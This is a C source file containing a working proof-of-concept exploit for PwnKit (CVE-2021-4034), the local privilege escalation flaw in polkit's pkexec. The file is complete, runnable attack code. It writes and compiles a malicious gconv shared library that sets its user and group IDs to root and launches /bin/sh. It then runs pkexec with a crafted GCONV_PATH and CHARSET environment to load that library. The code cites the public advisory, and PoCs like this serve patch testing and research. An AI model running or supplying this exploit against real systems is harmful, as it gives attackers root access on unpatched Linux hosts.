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31 lines
1.2 KiB
31 lines
1.2 KiB
/*
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* Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu>
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* Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <unistd.h>
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char *shell =
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"#include <stdio.h>\n"
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"#include <stdlib.h>\n"
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"#include <unistd.h>\n\n"
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"void gconv() {}\n"
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"void gconv_init() {\n"
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" setuid(0); setgid(0);\n"
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" seteuid(0); setegid(0);\n"
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" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
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" exit(0);\n"
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"}";
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int main(int argc, char *argv[]) {
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FILE *fp;
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system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
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system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
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fp = fopen("pwnkit/pwnkit.c", "w");
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fprintf(fp, "%s", shell);
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fclose(fp);
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system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
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char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
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execve("/usr/bin/pkexec", (char*[]){NULL}, env);
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}
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